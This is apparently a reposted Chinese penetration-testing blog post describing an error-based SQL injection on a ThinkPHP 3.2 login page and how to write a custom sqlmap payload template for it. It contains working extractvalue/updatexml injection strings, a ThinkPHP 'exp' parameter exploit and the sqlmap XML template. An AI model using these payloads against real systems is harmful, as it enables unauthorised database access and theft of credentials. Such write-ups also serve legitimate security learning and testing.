某次报错注入到自定义sqlmap的payload全过程

VSole2021-07-16 18:22:16

01 登录框存在sql注入:

通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存在sql注入:


成功读取到数据库版本:

02 尝试通过手工注入获取后台账户

遗憾的是sqlmap连注入都识别不出:

--proxy=http://127.0.0.1:8080,将sqlmap的流量转发到burp分析payload,发现sqlmap发出的包多加了一个AND:

换手工注入:

查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,结果报错了:


分析原因:报错注入的错误信息最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。查表名时,db_addo后面还有数据,所以db_addo这个表名是不全的。

limit分页:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)

//limit 3,1 读取第四条数据,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

批量获取表名数据:

03 尝试更换sqlmap的payload全程自动化读取

理清sqlmap指定报错注入时获取数据的流程,三个重要标签:

payload>,vector,

1、首先获取payload标签的内容,这个标签也是我们可以控制的标签,这个标签就是用来判断是否有注入点,一般我们手动测到有报错注入的注入点的时候,就可以把payload放在这里

2、 接着对payload里面的[]中的标志位换成随机的字符或数字

3、然后对payload进行url编码,同时设置请求头,包括referer,host等信息

4、请求后返回获取的页面,然后将返回的页面和中的内容继续宁正则匹配,匹配后,如果返回值不为1,那么就会继续循环测试其它的payload。如果正则匹配返回值为1,那么,表示存在注入,此时就会进行其他数据的查询

5、返回值是1,接着就会调用vector,调用注入模板,将([query]),换为其它的payload,获取我们想要的信息。

添加payload。sqlmap的payload在sqlmap/xml/payloads目录下(新版本在data/xml/payloads下),关键是文件夹里的六个对应不同注入类型的配置文件和boundaries.xml文件。找到对应xml文件:

替换vector和payload标签中对应的值,标题、level、risk自定义即可,一个完整的模板以,已结束,这样得出适用于此场景的注入模板:

<span class="code-snippet__function" style="box-sizing: border-box;">Customed By <span class="code-snippet__title" style="box-sizing: border-box;">Kevil</span> <span class="code-snippet__params" style="box-sizing: border-box;">(EXTRACTVALUE)</span>2411,2,3,8,91<vector>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))[DELIMITER_START](?P.*?)[DELIMITER_STOP]MySQL>= 5.1

04 测试效果

由于sqlmap自带的payload并不适用于所有测试场景,很多时候手工验证或者其他工具(xray)扫描出来的sql注入,sqlmap都无法识别出注入,此时自定义sqlmap的payload就更方便读取大批量数据。

payloadsqlmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
01登录框存在sql注入:通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。
实战oracle注射获取真实数据,思路和利用过程全记录!
绕过登录页面的七种常见方法这篇文章是关于绕过由于网站的弱点而发生的登录页面功能。常见的七种方式绕过 SQL 注入通过跨站点脚本通过操纵响应返回包绕过爆破攻击限制绕过目录爆破攻击默认凭据绕过通过删除请求中的参数绕过 SQL 注入我以 Mutillidae 为例进行演示。我们以管理员身份登录。在您的情况下,当它不起作用时尝试其他payload,并使用 SQLMap 工具dump用户名和密码。并显示弹出窗口,因此您可以通过 XSS 尝试 CSRF 并查看受害者凭据。这是它的 CSRF payload
首先恭喜我的好朋友jobs拿下上周的第三,这次希望这篇文章能帮助到大家,这次是之前审计的一个电商管理的cms,大部分功能都需要登录,本人才疏学浅,在登录功能和验证功能没有看出缺陷。下面直接进行审计。
前言本次审计的话是Seay+昆仑镜进行漏洞扫描Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';验证码的校验代码if ($_SESSION['verifycode'] !该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。wap/seacher.php昆仑镜扫描利用seay查看源码//这只是一部分,具体的师傅们可自行查看此文件
一些重要的SQLMap命令
2023-05-04 08:55:08
从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。我们必须给SQLMap提供有效的cookie才能对登录页面的POST请求进行扫描。不过别总是保持一个较高的值,因为可能会影响结果的准确性。默认情况下值为1,最高可以设置为3。值为3时,就是最大值,包含了一些严重的SQL查询。级别指定要执行的检查或payload的数量。
sqlmap脚本tamper使用
2022-06-25 07:07:48
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。如何判断使用哪个脚本最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。空格、等于号都没有过滤,成功报错。以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
前言21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。好,然后就是脚本的完整代码#!
VSole
网络安全专家